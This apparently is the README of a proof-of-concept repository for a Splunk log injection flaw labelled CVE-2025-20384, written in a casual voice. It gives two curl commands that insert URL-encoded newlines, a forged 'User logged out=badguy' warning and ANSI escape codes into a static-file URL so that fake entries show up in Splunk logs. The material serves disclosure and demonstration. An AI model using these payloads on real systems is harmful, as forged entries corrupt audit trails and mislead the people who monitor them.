axselll/cve-2025-20384Proof-of-concept demonstrating log injection and poisoning in Splunk via crafted URL parameters, highlighting OWASP log injection risks.
i dunno, i just read stuff my friendo sent to me and start typing down some random sorry ass nub javascript code
Please read this arcticle OWASP Log Injection
Look for static file, passed it and append some random parameter
So, i pass curl -k "https://localhost:8000/en-US/static/app/search/application.css%0Atest%0A%0A%0AWARN%3A%20User%20logged%20out%3Dbadguy%0A----LOG_INJECTION_TEST_12345----" OR curl -k "https://localhost:8000/en-US/static/app/search/application.css%1B[31mANSI_TEST_RED%1B[0m%0Atest%0A%0A%0AWARN%3A%20User%20logged%20out%3Dbadguy%0A----LOG_INJECTION_TEST_12345----"
If you see some random newline appears that is poisoning, might feel fine because it is just some "normal" poisoning but it can be annoying if it is heavily targeted.
